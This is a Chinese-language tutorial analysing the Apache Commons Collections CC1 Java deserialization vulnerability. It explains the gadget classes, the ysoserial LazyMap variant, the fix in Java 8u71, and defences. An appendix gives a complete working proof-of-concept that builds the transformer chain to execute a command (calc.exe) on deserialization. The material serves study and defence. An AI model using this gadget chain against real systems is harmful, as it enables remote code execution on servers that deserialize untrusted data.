CommonCollections1入门详解
字数 1786 2025-08-19 12:41:30
Apache Commons Collections反序列化漏洞(CC1)深入分析与利用
一、漏洞背景
Apache Commons Collections是一个广泛使用的Java集合框架扩展库,提供了许多强大的数据结构类型和集合工具类。该库中的InvokerTransformer类可以通过Java反射机制调用任意函数,导致了严重的反序列化漏洞。
漏洞影响
- 影响版本:commons-collections 3.1及以下
- Java版本限制:8u71之前(特别是8u66已验证可用)
二、核心漏洞原理
关键类分析
-
InvokerTransformer
- 实现了
Transformer接口 - 通过反射调用任意方法
public Object transform(Object input) { Method method = input.getClass().getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } - 实现了
-
ChainedTransformer
- 将多个
Transformer串联执行
public Object transform(Object object) { for (Transformer transformer : iTransformers) { object = transformer.transform(object); } return object; } - 将多个
-
TransformedMap
- 对Map进行装饰,在插入/修改元素时执行转换
public Object put(Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); }
漏洞触发流程
- 构造恶意
Transformer链,通过反射执行命令 - 使用
TransformedMap装饰普通Map - 通过
AnnotationInvocationHandler的readObject触发转换
三、漏洞利用分析
基础POC构造
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})
};
完整利用链
-
序列化过程:
- 创建
ChainedTransformer包含恶意转换链 - 使用
TransformedMap.decorate装饰Map - 通过反射创建
AnnotationInvocationHandler实例 - 序列化该实例
- 创建
-
反序列化过程:
AnnotationInvocationHandler.readObject被调用- 遍历
memberValues条目 - 调用
setValue触发TransformedMap的转换 - 执行预设的命令
关键点说明
-
为什么使用
AnnotationInvocationHandler:- 其
readObject方法会遍历Map并调用setValue - 是Java反序列化漏洞的常见入口点
- 其
-
为什么键必须是"value":
AnnotationInvocationHandler构造函数参数必须是Annotation子类- 该类必须含有至少一个方法(如
Retention的value) - Map中必须有一个键名为该方法的元素
-
Runtime的序列化问题:
Runtime不可序列化,需通过反射获取实例- 使用
Runtime.class作为起点,通过反射链获取Runtime.getRuntime()
四、高级利用技巧
ysoserial的利用方式
ysoserial采用了更复杂的利用链,使用LazyMap和动态代理:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 创建动态代理
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler);
// 再次包装
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
优势:
- 通过动态代理,任何Map方法调用都会触发
InvocationHandler.invoke - 在
invoke中调用get方法触发LazyMap的转换
8u71之后的失效原因
Java 8u71修改了AnnotationInvocationHandler.readObject:
- 不再直接使用反序列化的Map对象
- 新建
LinkedHashMap并复制值 - 删除了
memberValue.setValue调用
五、防御措施
-
升级Commons Collections:
- 使用3.2.2或更高版本
- 新版本中
InvokerTransformer等类不再实现Serializable
-
Java安全配置:
- 升级Java到最新版本
- 使用安全管理器限制反序列化
-
代码层面:
- 避免反序列化不可信数据
- 使用白名单验证反序列化的类
六、实验环境搭建
所需组件
- JDK 8u66
- commons-collections 3.1
- IDE调试环境配置
关键配置
- 添加sun包源码到IDE
- 设置正确的编译版本
- 使用调试模式观察调用链
七、扩展思考
-
其他利用链:
- CC链有多个变种(CC2, CC3等)
- 使用不同入口点和转换链
-
现代环境中的利用:
- 在受限环境下的利用技巧
- 与其他漏洞的结合利用
-
漏洞挖掘方法论:
- 如何分析Java反序列化漏洞
- 常见危险类的特征
附录:完整POC代码
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}